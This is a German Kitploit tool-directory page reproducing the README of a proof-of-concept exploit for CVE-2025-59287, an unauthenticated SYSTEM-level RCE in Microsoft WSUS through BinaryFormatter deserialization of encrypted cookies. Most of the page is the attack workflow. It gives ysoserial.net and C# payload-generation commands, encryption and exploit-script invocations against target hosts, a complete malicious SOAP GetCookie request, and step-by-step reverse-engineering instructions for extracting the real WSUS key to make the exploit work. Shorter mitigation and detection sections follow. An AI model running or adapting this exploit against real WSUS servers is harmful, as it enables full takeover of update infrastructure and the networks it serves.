Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-59287-exploit-poc — Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische, nicht authentifizierte RCE in WSUS über unsichere BinaryFormatter-Deserialisierung, die durch manipulierte verschlüsselte Cookies SYSTEM-Berechtigungen erlangt. | Kitploit
Tools/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische, nicht authentifizierte RCE in WSUS über unsichere BinaryFormatter-Deserialisierung, die durch manipulierte verschlüsselte Cookies SYSTEM-Berechtigungen erlangt.

Repository anzeigen
16vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-59287 Proof-of-Concept-Exploit

Überblick über die Schwachstelle

CVE-2025-59287 ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE) in Microsoft Windows Server Update Services (WSUS). Die Schwachstelle wird durch unsichere Deserialisierung von AuthorizationCookie-Daten über BinaryFormatter in der Methode EncryptionHelper.DecryptData() verursacht.

Auswirkung: Nicht authentifizierte Angreifer können Remote-Codeausführung mit SYSTEM-Berechtigungen erreichen, indem sie bösartig verschlüsselte Cookies an den GetCookie()-Endpunkt senden.

CVSS-Score: Kritisch (9.8)

Details zur Schwachstelle

  • Betroffene Komponente: WSUS ClientWebService.asmx GetCookie()-Endpunkt
  • Grundursache: BinaryFormatter.Deserialize() wird auf nicht vertrauenswürdige Eingaben ohne ordnungsgemäße Validierung angewendet
  • Angriffsvektor: Bösartig verschlüsseltes Cookie, das an den SOAP-Endpunkt GetCookie() gesendet wird
  • Erforderliche Authentifizierung: Nein (nicht authentifizierte RCE)
  • Betroffene Ports: 8530 (HTTP), 8531 (HTTPS)
  • Architektur

    root@kitploit:~
    ┌─────────────────┐
    │   Angreifer     │
    │                 │
    │  1. Generieren  │
    │     BinaryFmt   │
    │     Payload     │
    │                 │
    │  2. Verschlüss. │
    │     Payload     │
    │                 │
    │  3. SOAP-       │
    │     Anfrage     │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   WSUS-Server   │
    │                 │
    │  GetCookie()    │
    │  Endpunkt       │
    │                 │
    │  DecryptData()  │◄─── Verwundbar
    │                 │
    │  BinaryFormatter│◄─── Unsichere Deserialisierung
    │  Deserialize()  │
    │                 │
    │  Ausführen      │◄─── RCE als SYSTEM
    │  Payload        │
    └─────────────────┘
    

    Dateistruktur

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # Haupt-Exploit-Skript
    ├── BinaryFormatterPayloadGenerator.cs # .NET-Payload-Generator (C#)
    ├── encrypt_payload.py                 # WSUS-Verschlüsselungs-Helfer
    ├── requirements.txt                   # Python-Abhängigkeiten
    └── README.md                          # Diese Datei
    

    Voraussetzungen

    Python-Umgebung

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (für die Payload-Generierung)

    • Windows mit .NET Framework 4.0 oder höher
    • Oder alternativ ysoserial.net verwenden

    Verwendung

    Methode 1: Vollständiger Arbeitsablauf

    Schritt 1: BinaryFormatter-Payload generieren

    Option A: Mit dem mitgelieferten C#-Generator

    root@kitploit:~
    # Generator kompilieren
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # Payload generieren
    BinaryFormatterPayloadGenerator.exe calc.exe
    # Erstellt: payload_YYYYMMDDHHMMSS.bin
    

    Option B: Mit ysoserial.net (empfohlen)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    Schritt 2: Payload verschlüsseln

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    WICHTIG: Der Verschlüsselungsschlüssel in encrypt_payload.py ist ein Platzhalter. Für eine echte Ausnutzung müssen Sie:

    1. Den tatsächlichen Verschlüsselungsschlüssel aus den WSUS-Binärdateien per Reverse Engineering ermitteln
    2. encrypt_payload.py mit dem echten Schlüssel aktualisieren
    3. Siehe Abschnitt „WSUS-Verschlüsselungsschlüssel finden“ unten

    Schritt 3: Exploit ausführen

    root@kitploit:~
    # Mit Payload-Datei (wird spontan verschlüsselt)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # Mit vorverschlüsseltem Cookie
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # Mit HTTPS (Port 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    Methode 2: Schnelltest

    root@kitploit:~
    # Generieren, verschlüsseln und ausnutzen in einem Schritt
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <ZIEL_IP> -f payload_*.bin
    

    Den tatsächlichen WSUS-Verschlüsselungsschlüssel finden

    Der Verschlüsselungsschlüssel muss für eine echte Ausnutzung aus den WSUS-Binärdateien extrahiert werden.

    Methode 1: Reverse Engineering mit dnSpy

    1. WSUS-DLLs lokalisieren:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      Oder IIS-Webverzeichnis:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. In dnSpy öffnen (kostenloser .NET-Decompiler):

      • Download: https://github.com/dnSpy/dnSpy
      • Microsoft.UpdateServices.WebServices.dll öffnen
    3. Nach EncryptionHelper suchen:

      • Navigieren Sie zum Namespace Microsoft.UpdateServices.WebServices
      • Finden Sie die Klasse EncryptionHelper
      • Betrachten Sie die Methoden DecryptData() und EncryptData()
      • Extrahieren Sie den Verschlüsselungsschlüssel und den Algorithmus
    4. Häufige Muster:

      • Hartcodierte Byte-Arrays
      • String-Konstanten
      • Schlüsselableitung aus Maschinen-GUID/SID

    Methode 2: Laufzeitanalyse

    1. WinDbg oder x64dbg verwenden:

      • Haltepunkt auf EncryptionHelper.DecryptData() setzen
      • Speicher/Register auf Schlüsselmaterial untersuchen
      • Ver- und Entschlüsselungsvorgänge überwachen
    2. Process Monitor verwenden:

      • Nach WSUS-Prozess filtern
      • Nach Registrierungs-/Konfigurationsdateizugriffen suchen
      • Schlüssel könnten in der Registrierung gespeichert sein

    Methode 3: Statische Analyse

    1. IDA Pro oder Ghidra verwenden:

      • WSUS-Binärdateien laden
      • Nach verschlüsselungsbezogenen Strings suchen
      • Schlüsselableitungsalgorithmen analysieren
    2. strings-Dienstprogramm verwenden:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    Exploit aktualisieren

    Sobald Sie den tatsächlichen Schlüssel haben, aktualisieren Sie encrypt_payload.py:

    root@kitploit:~
    # Ersetzen Sie diese Zeile in encrypt_wsus_cookie():
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # PLATZHALTER
    
    # Mit dem tatsächlichen Schlüssel:
    key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
    

    Oder über die Befehlszeile übergeben:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
    

    Exploit-Ablauf

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. BinaryFormatter-Payload generieren                       │
    │    ObjectDataProvider → Process.Start() → Befehlsausführung │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. Payload verschlüsseln                                    │
    │    AES-128-CBC mit WSUS-Verschlüsselungsschlüssel           │
    │    Base64-Kodierung für die Übertragung                     │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. SOAP-Anfrage erstellen                                   │
    │    AuthorizationCookie-Header enthält verschlüsselten Payload│
    │    GetCookie()-Methode im SOAP-Body                         │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. An WSUS-Endpunkt senden                                  │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    Port 8530 (HTTP) oder 8531 (HTTPS)                       │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. WSUS-Verarbeitung                                        │
    │    DecryptData() entschlüsselt Cookie                       │
    │    BinaryFormatter.Deserialize() führt Payload aus          │
    │    → RCE als SYSTEM                                         │
    └─────────────────────────────────────────────────────────────┘
    

    SOAP-Anfragestruktur

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <ZIEL>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                BASE64_VERSCHLUESSELTER_BINARYFORMATTER_PAYLOAD
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    Details zur Payload-Generierung

    Der Exploit verwendet die ObjectDataProvider-Gadget-Kette:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    Wenn BinaryFormatter.Deserialize() dies verarbeitet, wird automatisch:

    1. Der ObjectDataProvider deserialisiert
    2. Die MethodName („Start") auf ObjectInstance (Process) aufgerufen
    3. MethodParameters (ProcessStartInfo) übergeben
    4. Der Befehl mit SYSTEM-Berechtigungen ausgeführt

    Test-Checkliste

    • BinaryFormatter-Payload generieren
    • WSUS-Verschlüsselungsschlüssel extrahieren/identifizieren
    • Payload mit korrektem Schlüssel verschlüsseln
    • Überprüfen, ob der WSUS-Endpunkt erreichbar ist
    • SOAP-Anfrage mit bösartigem Cookie senden
    • Befehlsausführung auf dem Ziel überprüfen
    • In isolierter Laborumgebung testen

    Einschränkungen

    1. Verschlüsselungsschlüssel: Der Platzhalterschlüssel funktioniert nicht auf echten Systemen. Der tatsächliche Schlüssel muss extrahiert werden.
    2. BinaryFormatter-Payload: Erfordert .NET Framework oder ysoserial.net zur Generierung.
    3. Netzwerkzugriff: Netzwerkzugriff auf den WSUS-Endpunkt (Ports 8530/8531) erforderlich.
    4. WSUS-Version: Das Verhalten kann je nach WSUS-Version variieren.

    Gegenmaßnahmen

    Sofortmaßnahmen

    1. Microsoft-Sicherheitsupdate anwenden: Sofort patchen

      • Microsoft-Sicherheitshinweis prüfen
      • WSUS auf die gepatchte Version aktualisieren
    2. Temporärer Workaround: Ports blockieren, wenn WSUS nicht benötigt wird

      root@kitploit:~
      # Eingehenden Datenverkehr auf WSUS-Ports blockieren
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. Netzwerksegmentierung: Zugriff auf WSUS-Endpunkte einschränken

      • Nur Zugriff von autorisierten Updateservern zulassen
      • Firewall-Regeln verwenden, um Quell-IPs zu begrenzen

    Langfristige Korrekturen

    1. BinaryFormatter ersetzen: Microsoft sollte durch sichere Serialisierung ersetzen

      • System.Text.Json oder System.Xml.Serialization mit Typvalidierung verwenden
      • Strikte Typ-Allowlist implementieren
    2. Eingabevalidierung: Umfassende Validierung hinzufügen

      • Alle Cookie-Daten vor der Deserialisierung validieren
      • Unerwartete Typen/Schemas ablehnen
    3. Prinzip der geringsten Privilegien: WSUS-Dienste mit minimalen Berechtigungen ausführen

      • Wenn möglich nicht als SYSTEM ausführen
      • Dienstkonten mit eingeschränkten Berechtigungen verwenden

    Erkennung

    Indikatoren für eine Kompromittierung (IoCs)

    • Ungewöhnlicher Netzwerkverkehr zu Port 8530/8531
    • SOAP-Anfragen mit Base64-kodierten AuthorizationCookie-Headern
    • Unerwartete Prozessausführung aus dem WSUS-Dienstkontext
    • BinaryFormatter-Deserialisierungsausnahmen in WSUS-Protokollen

    Protokollanalyse

    WSUS-Protokolle prüfen:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    Achten Sie auf:

    • SOAP-Anfragefehler
    • Deserialisierungsausnahmen
    • Nicht autorisierte Zugriffsversuche

    Netzwerküberwachung

    Überwachen auf:

    • SOAP-Anfragen an /ClientWebService/ClientWebService.asmx
    • Große Base64-Payloads in AuthorizationCookie-Headern
    • Ungewöhnliche Befehlsausführung aus dem WSUS-Dienst

    Rechtlicher Hinweis

    ⚠️ WARNUNG: Dieser Exploit-Code ist nur für autorisierte Sicherheitstests bestimmt.

    • ✅ Rechtmäßige Verwendung:

      • Testen eigener Systeme
      • Autorisierte Penetrationstests
      • Sicherheitsforschung mit Genehmigung
      • Bildungszwecke in kontrollierten Umgebungen
    • ❌ Rechtswidrige Verwendung:

      • Nicht autorisierter Zugriff auf Systeme
      • Bösartige Angriffe
      • Verstoß gegen Computerbetrugsgesetze
      • Jede Verwendung ohne ausdrückliche Genehmigung

    Die nicht autorisierte Verwendung dieses Exploits kann zu strafrechtlicher Verfolgung führen. Verwenden Sie es verantwortungsvoll und ethisch.

    Referenzen

    • CVE-2025-59287: Offizieller CVE-Eintrag
    • Microsoft-Sicherheitshinweis: Auf offiziellen Patch und Anleitung prüfen
    • BinaryFormatter-Sicherheitsleitfaden: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    Danksagungen

    • Schwachstelle von Sicherheitsforschern entdeckt
    • PoC für Bildungs- und autorisierte Testzwecke entwickelt

    Versionshistorie

    • v1.0: Erste PoC-Veröffentlichung
      • Haupt-Exploit-Skript
      • .NET-Payload-Generator
      • Verschlüsselungs-Helfer
      • Dokumentation

    Denken Sie daran: Testen Sie immer in isolierten, kontrollierten Umgebungen. Verwenden Sie es niemals gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

    Tool herunterladen